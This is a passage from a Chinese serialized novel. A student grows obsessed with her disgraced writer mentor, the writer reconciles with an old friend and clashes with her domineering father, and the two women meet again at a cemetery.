她会看一上午书,不时写些只言片语,无甚章法,像她多愁善感的初中时光。吃过午饭后,再看一下午电影,常常会在沙发里睡着。醒来时,电影不知道放到第几部,夏季橘子色的斜阳洒进来,正好是家家户户准备晚饭的时间,她总觉满怀皆是旧时光。
她会出门逛菜市,做几样家乡小菜,看着夕阳吃晚餐。
有时带猫猫出门玩,回来再仔细给猫猫洗澡吹干,猫猫胖了起来。
曾倩却无法回到原来的生活。即便学姐公开澄清误会,即便学院公开向她道歉,即便同学们都来慰问关心。
上课,她觉得教授空口白牙,纸上谈兵,索然无味;班级要搞个活动,开会开了八百次,愣是连哪天举行都定不下来;男朋友给她送奶茶,早起替她去图书馆占座,恩爱秀得天下皆知,单身舍友个个土拨鼠尖叫,她却只感到尴尬和难以言喻的烦躁。
有天,她路过秋湖边上的咖啡厅,不自觉停下来,望着她和杜华年曾经坐过的位置发呆。
夏夜暴雨,舍友扒在阳台看下头狼狈逃窜的人们傻乐,她却一股冲动难抑,摸了把伞就下了楼,站在她那天蹲守的湖边,一直到宵禁,一直到廖无人烟。雨越下越大,一直到男朋友来找她,大着声温柔说你舍友都急疯了!
她感到愧疚,对这些关心她的人,可她又不可遏制地想要跳出去。
有时,她在路上会看见冷飞雪或者甘副院长,她总是呆呆望着人家出神,搞得那俩心里一阵颤抖,低着头快步错过,她丝毫没有反应。
她常常坐在食堂里,看着眼前的饭菜,骤然失去任何食欲。
男朋友只是着急,问她想吃什么?他去买。
她忽而想起,出梅那天早晨,杜华年带她出门,在七拐八拐的小巷子里吃了一碗馄饨,才回家替她收拾好东西,把她送走。她说不出在哪条路哪个弄堂,甚至连周围的树、花、建筑都模糊不清,只记得那天温柔的阳光和美丽的杜华年。
她急哭了,她觉得那碗馄饨比什么山珍美味都可口。男朋友除了安慰她,一筹莫展。
在为了馄饨哭的两天以后,她走在上早课的路上,一只蝴蝶在她眼前飞啊飞,毫无预兆地落了地,死了。刹那间她灵光一闪:我终于明白,杜华年所说的凶狠和掠夺了。
杜华年在她身边的每一分钟,都在她面前上演凶狠与掠夺,她本人,就是凶狠与掠夺。“原来,这两个字从来不是贬义……啊!”她叹出这一句,莫名含了泪。
男朋友真是没话说,居然带着她在建邺区绕着杜华年的桂花小区找遍所有弄堂里的馄饨铺,终于她坐在了那里,看着不断赞叹果然美味的男朋友,却发觉馄饨一点也不香了。
她怔忪:难道,我爱上杜华年了?
曾倩开始旷课,白天睡觉
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,晚上打游戏,饿了只吃些零食,连外卖也懒得叫。一开始舍友们轮流帮她带饭,她还吃,到后来只吃一两口就全都倒了,舍友们渐渐也不再管她。肉眼可见的,她越来越瘦,老师们排队约谈她,甚至威胁要通知她的父母,她笑,“你看我被你们开除又被你们求着回来上课,我爹有再出现过吗?他最近,忙得很。”
男朋友等在宿舍楼下,看见她飘飘荡荡走回来,上前抓住她手腕,发觉那腕子细得只剩下腕骨包着层皮,“你怎么瘦成这样?也不接我电话,也不回我信息。你怎么了?我哪里做的不好?你告诉我,我可以改的。”
曾倩看着他真诚的脸,叹口气,“你别管我了,我爹都懒得管我。”
“你爸爸是你爸爸,我是我。”
“你不是我,你不会明白。”
“不管明不明白,总不影响吃饭吧?跟我去吃饭。”男朋友抓起她手就走,她初初挣扎了一下,根本没力气,即刻便也放弃了,由着他带她去了东西校区之间那条美食巷子。
夜幕下烟火气盛,曾倩喝了几口粥,胃里一暖,眼底就一热,哭了起来。男朋友替她擦眼泪,认真地看着她,眼神纯净而执着,“是不是我去找杜华年来,你见到她就会好一点?”
她愣了愣,突然“哇”一声痛哭出声,“她不会来的……”来来往往的学生都望过来,她也止不住哭。男朋友也不难堪,只管给她擦泪。等她哭够了,才闻到桌上食物阵阵飘香,突然胃口大开,边吃边说:“你有没有觉得,我们的生活其实很没意思?会场的气球要蓝色还是要粉色?班长说要粉的,副班长要蓝的,就这么屁大点事,开会开会再开会。一句话能说清楚的知识,非要上一节课。去图书馆,起床半小时,化妆一小时,到了之后,摆文具、打热水、上厕所、发朋友圈又要一小时。看书看不了三页,伸个懒腰,站起来走走,看到这本书也想要,看到那本书也想要,扛回去发现到饭点了……我们每天都在做什么呢?我什么都不记得,可是时间却一天天过去……”
男朋友哑口无言,她说得都对。
“可是你知道吗?我和杜华年住一起不到半个月,一天发生的事情就比我在这里,一个月发生的都要多!”她手指向下指指桌面,“那时候,我的天可刺激了!上一秒突然来个什么事,我大脑就死机,下一秒呢,‘哐’一下又来个什么事,我又得强制重启……就,累是真累,可上瘾啊,它是真他妈上瘾。”曾倩含着泪水,手指拍着桌子说完。她看着男朋友,很努力地亢奋着,希望他能明白她,“你能懂吗?懂我说的感觉吗?”
男朋友一瞬不瞬地凝视她,平静地总结,“过了二十年的生活,就因为突然意外尝试了一个新鲜感,就再也无法忍受了。这听起来,挺像吸毒的。”曾倩眼里的火焰就要熄灭,可他又补了一句,“可是也挺诱人。”
曾倩眼圈烫得她睁不住眼了,一眨,两滴泪“啪啪”掉进了粥里,随后目光更热烈地看着男朋友。
20. 至少还有小狗和李雯
秋天来了,满小区的桂花都开了,杜华年阳台上的那一盆桂花也开了,满屋飘香。
不知不觉猫猫就一岁了,杜华年跟网上学做了一个宠物蛋糕,给她过生日。猫猫开心得不得了,“吭哧吭哧”吃完了,却扑进她怀里,不断地伸出爪子要往外爬,她以为她要下地,蹲下来,猫猫却收着手脚不动,站起来,她又伸出爪子往外爬。杜华年费解,站在原地扫视怀里毛物,也只费解了一会儿,她骤然领悟,“你想带我去哪儿?”
猫猫一听,兴奋地更用力地伸爪子,她朝着她爪子的方向走,走到次卧里的书柜,她终于挣扎着跳下地,蹭蹭蹭跑到书柜边的墙角里,从一堆杂物里刨出一只灰扑扑的布兔子,一嘴甩在杜华年脚下。
次卧已经被改成了书房,天热起来后,杜华年就不爱出门了,天天捯饬屋子,角落的杂物都是她不想看见又不想丢掉的东西。
这只布兔子,是李雯送给猫猫的第一个礼物。是她第一次带猫猫上班那天,她上楼去面试武行,李雯被她晾在了她工作间里,只能逗猫猫玩。逗着逗着觉得猫猫可爱,李雯就抱着她上了趟街。杜华年回到办公室时,李雯和猫猫都不见了,她还以为她把她的狗拐卖了。
等李雯抱着猫猫回来时,猫猫嘴里,就多了这只兔子。
见她发呆,猫猫又咬起兔子左右甩甩她的毛脑袋,两只立耳晃得娇憨可爱,“吥”一声又仍在她面前,这回还砸了一下她的脚面。
杜华年蹲下来,深深一叹,“阿猫啊,你是想要我去找她,是吗?”
猫猫欢悦地抬起两只前脚,扑棱两下又伸爪子去按地上的兔子,略低下头,抬起大大的眼睛望着她,紧闭嘴巴,水汪汪的眼睛闪啊闪。
“让我想想吧。”杜华年起身走出了书房。猫猫歪了歪脑袋,低头看看兔子,抬头又看看她背影,还是只能耷拉着耳朵跟着她走了出去。
是我表现得不够明显吗?麻麻给我过生日,我的生日愿望,是让她去找雯姨。我觉得,她不能总是一个人呆着,总得有个人来管管我麻麻吧?老天把她忘了吗?可是她的小狗不会忘了她啊!
可是我的生日愿望没有实现。麻麻的树开了花,又落了花。
麻麻还是偶尔带我出去玩,回来给我洗澡。她给我换了好多种口味的饭,她总是能知道我什么时候吃腻了。
就这样,我一直陪在麻麻身边,每天用力地逗她开心,虽然她还是闻起来缺点什么,可我也觉得很满足。
这天特别冷,比我生日那天还要冷得多,但外头似乎很热闹。麻麻给我穿了很厚的衣服,带我出去买了好多东西,街上的人好多啊!我闻到了许多平时闻不到的情绪。
晚上麻麻煮了一锅香喷喷的……鸡汤,啊,我想吃鸡汤。
她还跟我说新年快乐!我知道,这和跟我说生日快乐是一个意思。我又可以许愿了。可我的生日愿望还没实现呢……欸?有人敲门!?
我冲到麻麻前面,冲着外头叫了两声。麻麻你先回去,万一门外是坏人呢!
咦,这味道有点熟悉,啊!不是坏人,我闻到了,是雯姨!麻麻!麻麻!老天!我的愿望实现啦,今天我不用许愿啦!
杜华年打开门,见到了门外的李雯,相顾无言。杜华年有点意外,但不惊讶,因为李雯并不是一个倔强的人,过去这么多年,她们吵架,都是李雯先低头。
“今天跨年。”李雯略抬了抬手里的酒,笑得有点尴尬,还带点疲惫。
杜华年看了看酒,忽然想起了去年的跨年夜,心里顿时感慨万千,她想那时的杜华年肯定是万万想不到会有今天这番落魄的,她在心底笑自己,面上就表情一松,笑了出来,便越笑越放肆。在李雯眼里,这是她久违的,眉眼春风明媚的杜华年,她一愣,也大笑起来,也想起了去年的跨年夜。
进了屋杜华年才发现李雯不止带了酒。她往餐桌摆上了一盆水煮鱼,一碗开水白菜,与原来桌上的小锅鸡汤一拼,再摆上一瓶酒,两只杯,竟然小有些温暖丰盛。
“我爸换了个厨子,做川菜的,我记得你爱吃辣。怎么又喝起鸡汤了?这么清淡?”李雯洗了手,自己盛了碗汤,坐下来喝。
“我也爱清蒸鲈鱼。”杜华年切了两片柠檬扔进酒杯,喝了一口,果香四溢,“这风味挺独特。”
“烟熏调的,偶尔换个口味不错吧?我一猜就觉得你会爱。”
“新的固然好,但旧的习惯了,不想改了。”杜华年想岔开话题,“今天跨年,你不在家陪你妈?”
“这还不能说明你在我心里的位置吗?”李雯想打个诨混过去。杜华年却看出她面上一闪而过的复杂神色。她放下酒杯,也不说话,只是盯着李雯看。李雯被她看得相当不自在,知道迟早败下阵来,不如早点缴械投降。
“我妈要给我相亲,所以我跑出来了。一出来,发现根本无处可以去……呵!”她冷笑一声,望向别处,眼神悲凉,带点哭腔,“你说,工作室还在的时候,我还能躲去那里……老杜啊,你真能习惯就喝这么清淡的汤了?”
“你忘了?我本来就是这么清淡的口味。”杜华年吃了一口白菜,“嗯,你家这厨子正宗,你看川菜也不见得样样都辣,可见清淡才是本味。”
“可是我回不去了。”李雯低低说了一句,又抬眼看着杜华年,“你前阵子不是还找了个饭搭子?”
“我后来把她送走了。”
“你怎么不说给人改头换面了?她来的时候和去的时候,可不是一个样子。说明你也回不去,你就是杜华年。”
杜华年一笑,心想她这回竟然是有备而来。也不奇怪,杜华年能拦下清退手续,全靠的是何文谦女儿
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五个字,李雯只要稍稍打听一下,就都知道了。她夹了一筷子水煮鱼送进嘴里,热辣鲜香,叹一口气,于是又一次岔开话题,“海师傅呢?你给他安排了什么工作?”
“在我家当厨子。”李雯满意地笑了,“你别岔开话题,你那饭搭子知道你使了什么手段吗?她现在还能在学校吃食堂的饭,全因为你是杜华年,她知道么?”
杜华年觉得一阵酸楚,莫名的。她吸了两口气,“她不必知道。她只要知道可以靠自己去反击,谁打她,我就教她打谁。还有,不是因为我是杜华年,而是因为我是何芳芳。”
李雯愣住了,震动从心脏蔓延到四肢百骸,像冰冷海底的地震。有很多年,她不曾听到她自称何芳芳,这个名字对她来说是一种桎梏。李雯突然就想哭了,她知道,老杜得是多么挫败,多么颓丧,她才能说她是何芳芳。
她调整了了一下情绪,望着杜华年眼底,“有个事我想不通,老杜,这姑娘你为什么帮她?我不信是因为她崇拜你。”
杜华年盯着鱼看了好久,“她妈妈对我很好,我不能辜负她。”
“又是这一句!我就知道!”李雯音量突然暴增,不解恨,又转头向一边,默默骂一句,“他妈的!”她又气又伤心,用力顶着上颚才没掉下泪,心想:杜华年啊杜华年,我真他妈是上辈子欠你的!她重重点下头,抄起酒杯冲杜华年一送,“不愧是你啊杜华年,走一个!”她仰头把酒喝干。
杜华年一口也干完。
“就我对你差是吧?”李雯还是得问她。
杜华年刚要开口,被她挥手打断,“我知道,你从来很帮我。我妈挨欺负,我也挨欺负,谁管我这破事啊,就是你,多管闲事的命。上回我是真生气,这回我也生气。但是老杜,远走的人永远不痛苦,你是个天才,我不能看你废掉。你改回何芳芳,我们重头再开一把,我不信你不行。”
李雯说得干脆利落,目光殷殷,杜华年有点恍惚,觉得这眼神太要命了,就要看不下去,“碰——”一声巨响,两人同时浑身一震,不约而同看向窗外,夜空下,爆开一朵大大的烟花,接着第二朵,第三朵……是新年了,炮声隆隆。
空中竟还飘起了雪花,两人都是一叹,杜华年弯腰抱起猫猫,李雯走到窗边推开窗子,秦淮风雪与硫磺硝石的气味一同扑进来,两人一前一后,一站一坐,都从窗子望出去,阳台上的桂花树间还留着星点小花,新年的雀跃又一次降临。
“新年快乐!”二人异口同声,都没有看对方。
去年烟花升起时我在干嘛?杜华年忍不住搜索记忆,跨年夜去怼了李雯她爸,又去千帆过吃了饭,李雯还喝了个烂醉……啊!在我家楼下,是慕华,算起来,年是和她一起跨的。如今,那套房子卖了,慕华也消失在茫茫人海。
李雯还没有离开家。
21. 回家吗?
正式放寒假这天,南京城飘起了雪。曾倩裹着又长又厚的羽绒服,提着大大的行李箱下六楼,走出宿舍大门,看见男朋友已经等在树下,肩头积了些雪白。
他走向她,从双肩包里取出一条鲜红色的羊毛围巾,替她裹住头面。曾倩心底一暖,笑他,“我被你裹成村里大妈了!”
“这样暖和,今年特别冷。”男朋友扶着她肩,表情诚恳,“我送你回家吧?”
“你疯了?我们方向相反啊!”曾倩自己整了整围巾,尽量把脸露出来。
“我送你回去了,再飞回家也一样。”
“哪里一样?耽误时间,浪费钱。”
男朋友望着她,许久才开口:“小倩,我总觉得你一走,就不会回来了。”
曾倩看着他蹙紧的眉尖,努力一笑,“你傻啊?我还没毕业,能不回来吗?”
“光靠毕业证,能拴住你吗?”他面容冷冽,没什么表情,但眸光充满热烈的追寻,只有仔细看,才能发现他眼底的深忧。
曾倩显然无法发现,她只是回答他,“我既然念了书,肯定要拿到毕业证。”
她转身走了,他皱眉看了一会儿她的背影,才大步跟上去,拿过她的行李箱。
曾倩一下飞机就给杜华年打电话,自然又是没人接。这大半年来,她常常给她发信息,打电话,可杜华年就像死了一样,没有回音。
她在外头转悠到天擦黑才回家,一进门,后妈矫揉的嗓音就喊了起来,“不是说中午的飞机吗?怎么这么晚才到?害得保姆都不敢炒菜。这么冷的天,就怕菜凉了。”
她爹什么也没说。她看见来接她行李的弟弟,又长个头了,不太敢看她,也不说话,拉过行李就往房间去。
饭桌上,她吃不下,弟弟却老是给她夹菜,后妈又总给她爹递眼色,她索性开口,“有话就直说,我们在一起从来就吃不好饭。”
“你这是什么态度?”她爹摔了筷子,“我看就是跟那个什么杜什么的不学好,这个学校出了这么个只会抄袭的学生,看来也是教不好你了。过完年,你就和阿睿出国,学校我已经帮你们找好了,姐弟俩一起也有照应。”
原来如此,曾倩心念一转就想明白了,先由后妈阴阳怪气让她气急,再上桌故意沉默让她压抑难受,忍不住了自然爆发,再借她爆发来引出要送她出国,看起来都是她的错,真他妈卑劣!她在心里骂一句,开口道:“谁不学好?你凭什么说杜华年只会抄袭?”
“你看?你还在替她狡辩。网上都实锤了,你爸我不是不会上网。我还找人问了,这个什么杜华年,她不就是何芳芳吗?你妈从前那个学生!网上的人不知道,我还不知道?我一看她照片就觉得眼熟,后来回来问了人,果然就是她。她不认她爸,才改的名字,也不知道用了什么手段,网上愣是没人知道她叫何芳芳。这么个不孝顺的东西!无情无义……”
“我呸!”曾倩拍桌而起,冲她爹狠狠啐了一口,“你要不要脸?你他妈最无情无义,还敢提我妈?”她气得发抖,伸手指着一旁后妈的鼻子,“这个臭不要脸的是谁啊,啊?你敢说你对得起我妈?我妈怎么死的你敢说和你没关系?你敢算时间线吗?我妈没死的时候,你和这个臭婊子都勾搭上了吧?野种都生出来了吧?啊——!”
她正骂得满脸狰狞,“啪——”一个响亮的耳光就招呼过来了,她不防,眼前一白,往旁边摔出去,半天才恢复意识,就感觉嘴里渗出腥甜,左脸又热又辣又麻,耳朵还嗡嗡作响。
“啐”,她吐出一口血,抬起眼皮看着她爹,目露凶光。她后妈没见过这场面,吓傻了。只有她弟弟曾睿低着头来拉她,她甩开,他又来拉。
她彻底没了耐心,奋力甩手,曾睿却料到了,用了劲,她一点不是对手,被他拉进了房间,关上门。门外,后妈爆发出凄惨哭声,十分做作。
曾睿又出了门,没一会儿拿着一罐汽水回来,包着毛巾递给她,“姐,敷一会吧。”她看他低眉顺眼的样子,但坚硬的下颌线暴露了他坚硬的性格。她接过来贴在左脸上。
曾睿才敢在地毯上坐下,仰头看着坐在床边的她,“姐,现在不是生气的时候。我妈会查我电话,所以之前我不敢联系你。有个事很急,”他抿抿嘴,“爸,他要把华阿姨那套旧房子卖了,拿钱送我们出国。”
晴天霹雳,曾倩站了起来,死死盯着地面,什么也说不出来。曾睿伸手拉她坐下,“姐,已经有买家了,可能这几天就过户了。我知道你不可能同意,但我也没办法,我一提这事,我妈就跟我哭……我实在也……”
“不怪你。”曾倩气急了,反倒冷静下来,“阿睿,刚才吃饭的时候,我不是冲你……”
“我知道,姐,是我妈对不起你……”
“不关你的事。”她打断曾睿,“你妈是你妈,你是你。”她眼里含了泪,哽咽了,说不下去。曾睿眼圈也红了。
许久,曾倩才说:“没事了,我会想办法,你回
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去睡吧。”
“我陪你会儿吧,姐。”曾睿抬起眼看她,“我一出去,我妈就要跟我哭了。”
曾倩点点头,她也在地毯上坐下,伸手从床头抽屉里拿出一本很旧很旧的作文本,翻开,找到里头的一页零分作文,但结尾处却写着满满的评语。她递给曾睿,“你读一读。”
曾睿接过来,看了好久,才抬头,殷殷地看着她,“这么美的作文,就是你偶像写的?”
“嗯。”曾倩轻轻点头,“你看,下面那些批语,是我妈妈……”
“在考场是零分,在我心里是满分。华阿姨真是……”曾睿不知道怎么形容,只得说:“写出这样作文的人,怎么会抄袭呢?她不需要吧……”
“我也不知道,她什么也不说……”
姐弟俩当晚在地毯上坐了一夜,说了很多话,不知道什么时候睡着了。
天快亮时,曾倩从噩梦里惊醒,曾睿也同时醒过来,“姐,没事吧?”曾倩摇头,“阿睿,我们得先把房本找到。”
曾睿看她一眼,默不出声站起来出了门,没一会儿端着杯水回来,还从身后拿出了一个鲜红的本子,“我早就找到了,但你没回来我不敢动,怕他们发现了会提前卖。”
曾倩接过房本,面色复杂地看着他,她恨她爹,恨后妈,可是这个便宜弟弟……她还记得他刚跟着他妈来到家里时,白白嫩嫩,眼睛亮晶晶的,总跟在她后面,无论她怎么骂他甚至打他,他都笑嘻嘻的,如果实在难过了,也只会偷偷躲起来哭。她开始还怀疑这是后妈教他做的,可是每次他都会因为把零食偷偷留给自己而被后妈责骂,她又想不通了。
长大些,她总问他为什么更喜欢她这个便宜姐姐,而不喜欢自己妈妈?他总是沉默。他的性格就是如此,一棍子打不出一个屁,只要他不想说的话,你用尽手段也没用。
“阿睿,房本我得带走,但是他们肯定知道是你拿的。你打算怎么办?”
曾睿只比她小两岁半,正读高三,“你别担心我,我可以直接回学校住,反正也是要补课的。”
曾倩想了想,看着他,“我现在就走了,你要是扛不住就给我打电话。”
“姐,你打算做什么?”
“还不确定,买方是什么人你知道吗?”
“不知道,但我知道对方手机号。”曾睿摸出手机,翻出一串号码。
曾倩看他的眼神突然就变了,她觉得他大概更招杜华年喜欢,反正比她强。
22. 回家吧!
跨年那天的结尾,是杜华年答应李雯好好想一想。
这天雪晴,她出门买狗粮,却余额不足,最后分了三笔,把所有边边角角的卡都刷了一遍,才把狗粮买回去。
杜华年坐在阳台桂花树下,思考着一个问题:她活了三十年,从十八岁开始,就能写稿挣钱,可是为什么,每次的财务危机都在她毫无意识的情况下猝不及防地发生呢?
我明明……明明不怎么花钱呐!
“汪”,猫猫叫唤了一声,她低头一看,这狗子平躺在地上,歪七扭八,露出她雪白的肚皮。
叹口气,她开始打开手机银行查账,一查吓一跳,违约金赔了这么多?水电费这么贵?物业费这么高?
猫猫一骨碌爬起来,扭着屁股往屋里走。
夏莲打来电话,遮住了她的余额。她犹豫了一阵,还是接听了,“妈。”
“你最近,还好吗?”夏莲声音甜脆,听起来总像个十八岁的甜美姑娘。
“你有话直说。”杜华年的声音就……十分不悦耳。
“你别这样,我是担心,你的工作室……现在也过去半年了,我就问问你钱还够吗?”
“够,没什么事我挂了。”
“哎等等,怎么可能够?我算过了,你那些违约金什么的那么多,这半年你也得花钱啊……”
“怎么,你有钱?要给我?”她不耐烦了,打断夏莲。
夏莲噎了一秒,“你回家来看看吧,这么多年了,你都不回家,你不想妈妈吗?”
杜华年正要反问她们之间什么时候可以用个想字了?却瞬间回过神来,这大概是何文谦的授意,于是她话到嘴边,语气一转,“怎么了?他叫我回去想干嘛?”
“啧,他毕竟是你爸爸!快过年了,今年你又特别不顺,不如今年就回家过年好不好?你也好久没回来看看我们了。”
是啊!她靠在长得愈发盛大的桂花树上,心里一叹,她是真的很久没回去看看祖母了。
大学毕业那年起,她没再回来过。把猫猫托付给李雯,她特意选了绿皮火车,便宜也慢。站在站台上那一刻,熟悉的风吹来,穿过她的长发,家乡的冬天比南京暖。
父女二人的书房有一扇洞门连通,只要杜华年走进自己的书房,何文谦就能知道。
“回来了?”他站在门洞里,看起来苍老了许多,也胖了。
“爸。”杜华年喊了一句。
“你的事情我都知道了。没关系,孩子大了,总要自己出去闯一闯,出了事就知道回头了。”
听听这语气,每个声调都在给杜华年心口加柴,她只想平心静气吃个饭罢了,忍一忍,“我不用本名,应该丢不了你的脸。”
“这不是你应该的吗?最基本的孝道。”何文谦拄着个紫檀木龙头拐杖,往地下一戳,“你改回何芳芳,我跟人说一声,最慢春天也能出版一本书,到时候我会替你安排,你也该逐渐接替我的位子。”
多年不见,何文谦自说自话的习惯越来越泛滥,杜华年还在忍,“你什么位子?我也在协会里,我想打点自己会,不想打点,熬资历我也能慢慢上位。爸,你的位子也是可以换人坐的,即便你不在这个位子了,你还是你,你写的东西只要好,那就不必怕被忘记。”
“幼稚!”何文谦重重一砸地板,“你以为人家为什么记得你?那是因为圈内人都知道杜华年就是何芳芳,何芳芳是我女儿。你现在的罪名是抄袭,抄袭多严重你不知道吗?你试试看,哪天换别人坐我这个位子,你还能不能不被除名?”
实在忍不下了去,“爸!话不能乱说,慕华最后自己撤诉了,我顶多算有嫌疑,没人可以下定论说我抄袭。再说了,我抄没抄,你不知道吗?!”她瞪着他,怒音响亮。
“我当然知道,但是为什么你不敢澄清呢?因为你当年出版那本小说,就是耍了手段,见不得光!”何文谦也被激怒,直接往她心口上扎刀子。
那她就干脆开战,“我见不得光是拜谁所赐?不是你吗?你要控制我,我写的每个字都要经过你同意,那到底是我写的,还是你写的?你是为我好吗?哪个父亲不为自己孩子的才能骄傲?可你不是,你嫉妒,你害怕,你怕我比你好,你还怕我和你不一样!你就是个只会利用权力身份压迫别人,摆弄别人的虚弱懦夫!”
何文谦握着龙头拐颤抖,“我会给别人作为交换的好处!你呢?你只会自以为是。这么多年,你以为我不知道你干了什么?用尽手段,只为了达到自己的目的。你如果不是做得太过分了,怎么会出慕华这档子事?我告诉过你,听我的,路就最好走,你偏不信,出一个慕华是好的了,因为她没背景没天赋,万一是个二者有其一的呢?有一个慕华就会第二个!说我,你以为你比我好很多吗?你机关算尽这么多年,这些行为和我有什么不同?”
杜华年气得五脏六腑都在颤,眼泪直往外逼,“我和你不同!我不管做什么,至少都给人一个选择!”
“呵!给人选择?”何文谦嘲笑得很大声,“人家真的觉得自己有得选吗?是你替人家觉得的有得选吧!说我压迫别人,你听过别人怎么说你么?承认吧,你就是和我一样,因为你是我女儿,我们流着一样的血!”
杜华年头一次语塞,一口气噎在喉头上不去下来。何文谦这番话让她想起了喵喵,想起了慕华,甚至想到了芊芊、张导、李导……或者,是不是李雯也觉得她压迫她?从小到大,她头一次吵不赢何文谦,她接受不了,胸腔起伏得厉害。可是她有个好处,也可以说是个毛病,不管多激愤,永远有一丝理智始终抛弃不掉,所以她听得懂,何文谦所说,是对的。
她没有多余的气力去管何文谦了,因为她要用尽全力才能逼回悲怒的泪水。何文谦也没料到,这是他头一回在吵架这件事上,赢过了这个无法无天的女儿。
他回过神来后,颇有些志得意满,冷哼一声,龙头拐敲着地板,大步流星地往饭厅去了。
她当然没去吃饭,夜里是保姆下了一碗面条给她送到房间,还撒谎说是
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夏莲心疼她,叫人做的。
夏莲会记得她不吃鸡蛋面,只吃番茄面?笑话!只有保姆知道,鸡蛋得先煎好,用煎鸡蛋的油炒番茄再煮面。
但她没有戳破,只是枯坐了一夜,努力找寻自己和父亲不同的证据,可是似乎并不顺利,思索自己为什么变成了自己都讨厌的样子,又根本想不出答案。
偶尔想哭,却凑不出足够的泪意。
天将亮时下起了雨,冷风一吹,显得这个冬天格外难熬。城外二十公里是一片山明水秀的风水福地,这座城市殡葬底蕴深厚,这块宝地给了所有人一个死后安心的去处——灵山公墓。
不到十天就过年了,公墓最冷清,两道橙光从雨雾里穿透,照在正打瞌睡的门卫脸上,他立马清醒了,看见一辆黑色的小轿车渐渐从朦胧细雨中现出身形。杜华年摇下车窗,“师傅,车停哪里?”
当然是随便停。她从车里下来,一身黑色羊毛大衣,一副墨镜,一把黑伞。从服务大厅租了个铁通,买了一大筐元宝蜡烛香,值班小姑娘看她一个人,主动帮她提了上山。
祖父母的墓碑在正中最高处,辟出了一小块地,与其他邻居有些距离,又不太远,何文谦甚至做了汉白玉围栏,栏前一对石象,栏上插满鲜花,竟还是应季的红梅。
墓前还有两块光滑的石墩子,看起来就像自然散落的山石。杜华年把伞撑在一旁的地上,替一大包祭品遮雨,用了整包湿巾仔细擦干净墓碑,扫去四周的落叶与花瓣,在香炉两旁插上蜡烛,点燃,上过香,再拿手绢擦了擦石头上的雨水,坐下来开始烧祭品。
铁桶里燃起火,她把元宝纸钱一样一样丢进去,慢慢地丢,每样东西她还会看一看。她看着火苗向上扑朔,不知道发什么呆,但觉一颗心才终于真的静了下来。她很喜欢这种感受,与故人,与过去,与另一个世界,有了似远还近的连结。
铁桶不知道历经几代人,黑灰层层包浆,很有故事感。火旺,雨雾都化去不少,满园苍翠在雨里更显缥缈清寒。东西烧完了,火还很旺,她从大衣兜里掏出一个精巧的酒瓶子,往墓前一洒,自己再喝一口,摆在地下。再从兜里掏出烟,点了一根放在爷爷相片前,自己再叼一根,刚打着火,风一吹,灭了,再打,再吹,再灭,她停下来,看了看爷爷,又举起打火机,再点,再吹,再灭。
她垂下手,看着爷爷和奶奶,良久,忽而头一低,肩头微颤,一颗泪水从巨大的墨黑镜片下坠落,叹息声混在雨里,铁桶还偶尔爆几个火星子,伞檐的雨水像断线珍珠。
“爷爷,我太久没见你了,你都不记得我已经三十岁了吧?”她又喝一口酒,声音哽咽,“天气冷啊,我得抽一支。”
这一次,打着了。她深深吸一口,没有更多泪落,但胸膛里堵满了酸涩。
他们可能还记得我小时候多么乖巧听话,少年时多么青春明媚,可我、可我……可我已经不是那个少年很久了……
真的很久了,久到,我都快忘了,他们只见过我十八岁前的样子。
23. 被期待是令人窒息的
曾倩没想到大过年的,公墓里还能有另一股青烟飘起。她使劲抬头看,有一排小松挡住了视线。她循着烟找过去,终于见到松树后头那一个孤绝背影。
喜出望外,她喊了一声,
“芳芳姐!”
一嗓子给杜华年吓一跳,烟灰不弹自掉。只有曾倩这么喊她,她心想,站起来回头看,果然。曾倩没打伞,刘海湿透了,在额前飘荡,“好巧啊!”
杜华年冷笑,“这地方都能偶遇,巧得挺瘆人。你来这干嘛?”
“我来看我妈。”她声调往下沉,“他们要卖她的房子,那是外公给她的嫁妆,是个带花园的院子。”
杜华年眉头忍不住轻微地一抽,冷笑变成了冷肃。看着她耷拉的脑袋,她掐了烟,沉默,在此地听人提起华老师,令她感到一种不真实的空洞,像命运的奇点在靠近。曾倩也没再看她,两人就这样相对而立,直到桶里的火焰熄灭了,她才拿起地上的伞,举到曾倩头上,说:“带我去看看你妈妈。”
华丽娟的墓也在这一排,偏一点,不算正中间,价钱低一些。墓碑上的照片很美,透出一股悠远的书卷气。曾倩还带了鲜花来,摆在墓前。杜华年静静看着,不知在想什么。
“我妈是失救而死。哮喘发作,她已经打了120,可医生到了门外,她已经失去意识了。因为没人给开门,他们又不敢撬门,就活生生……等着我妈……死在里面……”她恨声颤抖,咬牙切齿,“芳芳姐,我一直怀疑我妈是被人害死的,就是被那个不要脸的小三害死的!人命关天,凭什么不能撬门?他们当时打给我爸,没人接,我问我爸当时在哪里,他就是不说,肯定是跟那个小三混在一起……他们现在还要卖我妈的房子!芳芳姐,我要报仇,我要让他们付出代价,你能不能帮帮我?”
杜华年听得眉头拧在一起,她觉得这个小孩变坏的速度实在有点快得离谱了。
“你不能靠猜测,也不能凭你的情绪做判断……”
“我有证据,我妈一直有哮喘,可是她失救那天,我把家翻遍了,也没有找到她的药。”
杜华年又沉默了。
“昨天我才回到家,我爸就说要把我和我弟送出国,我不想走,我才不让小三好过。芳芳姐,只有你能帮我。”
“我能帮你什么?”杜华年反问。
“就像你帮我回了学校,你帮我报复了甘鹏和冷飞雪。”
“那不是报复,曾倩,那是事实,在事实面前,没有人能不妥协,你也只是拿回你的清白,和报复无关。”杜华年开始后悔,她觉得她教坏了这个小孩,即便她当时就知道,这是一次恶魔的引诱,但她实在没想到,曾倩心里有这么深的怨毒。
“都一样!我跟你说的都是事实。芳芳姐,你可以不帮我,就算是我自己一个人,我也是要报复他们的,我不可能让他们得逞。”曾倩从双肩包里掏出一本枯黄的册子塞进她手里,转头就走。
杜华年低头一看,封皮赫然写着作文本三个大字,她觉得眼熟,强烈的预感涌起,她迅速翻开,凭稀薄的记忆翻到那一页,行云流水的评语赫然在列,作文标题写着两个字:梧桐。
“……在我心里,你是满分。——华丽娟.2009.11.9”
就只一瞬间,杜华年恍惚了,感到时空失去了秩序和引力,十五年前的世界正加速向她冲过来,“哐——”一声,把她的灵魂撞飞。她感觉下一秒就要听到华老师恨铁不成钢的语气,她紧张得抓紧了作文本,已经张好嘴要解释自己为什么没完成作业了,下意识抬头,却见到的是墓碑上一张华老师的照片,和一列大字:爱妻华丽娟之墓。
她心神一震,双眼立刻就模糊了,照片里的华老师笑容温婉,眼神却透着坚毅。时空迅速归位,此时此地,她再见故人笔迹,毫无防备地,狠狠落下眼泪,洗刷她的脸。她现在急需一支烟。
